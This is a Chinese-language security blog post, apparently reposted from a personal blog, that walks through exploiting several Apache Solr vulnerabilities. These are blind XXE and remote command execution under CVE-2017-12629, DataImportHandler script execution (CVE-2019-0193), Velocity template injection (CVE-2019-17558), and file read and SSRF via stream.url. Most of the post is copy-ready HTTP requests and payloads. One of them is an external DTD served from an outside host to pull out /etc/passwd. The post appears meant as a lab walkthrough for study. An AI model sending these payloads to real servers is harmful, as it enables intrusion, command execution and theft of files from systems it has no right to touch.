Apache-solr相关漏洞

admin 2022年1月6日01:27:08评论66 views字数 5790阅读19分18秒阅读模式

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。

基本概念

详情可看:Apache Solr 组件安全概览

环境搭建:
Solr 所有版本下载地址 http://archive.apache.org/dist/lucene/solr/
下载Solr ,进入bin目录中

1
solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "G:\code\java\solr-7.1.0\example\example-DIH\solr"

动态调试
下载源码,配置Remote即可

Apache solr XML 实体注入漏洞(CVE-2017-12629)

此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞,我们发送如下数据包(自行修改其中的XXE Payload):

替换先dnslog地址,看是否有XXE

1
2
3
4
5
6
GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fbaidu.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

Blind XXE漏洞利用

起一个web服务,放入1.dtd,dtd文件内容如下

1
2
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

请求(记得替换ip地址)

1
http://192.168.1.101:8983/solr/demo/select?q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.1.100%2f1.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

Apache-solr相关漏洞
漏洞分析:https://paper.seebug.org/425/

Apache Solr 远程命令执行漏洞(CVE-2017-12629)

首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

1
2
3
4
5
6
7
8
9
POST /solr/demo/config HTTP/1.1
Host: 192.168.1.101:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

Apache-solr相关漏洞
然后进行update操作,触发刚才添加的listener:

1
2
3
4
5
6
7
8
9
10
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

如上图所示,首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

点击Execute with this Confuguration会发送以下请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1
Host: localhost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 679
Connection: close
Referer: http://localhost:8983/solr/
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助Velocity模板利用该漏洞在系统上执行任意代码。

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

1
http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json

启用params.resource.loader。启用配置通过以下API,该API端点/solr/[core name]/config:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

Apache-solr相关漏洞
之后,注入Velocity模板即可执行任意命令:

1
http://192.168.1.101:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache solr任意文件读取

访问得到内核

1
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

发送如下请求,开启内核的 RemoteStreaming

1
2
3
4
5
6
POST /solr/demo/config HTTP/1.1
Host: 192.168.1.101:8983
Content-Type: application/json
Content-Length: 83

{ "set-property" :{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

Apache-solr相关漏洞
通过 stream.url 任意文件读取

1
2
3
4
5
6
POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.1.101:8983
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

stream.url=file:///etc/passwd

SSRF

1
2
3
4
5
6
POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.1.101:8983
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

stream.url=http://tegean.dnslog.cn

参考文章:
https://vulhub.org/

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:27:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache-solr相关漏洞https://cn-sec.com/archives/721551.html

发表评论

匿名网友 填写信息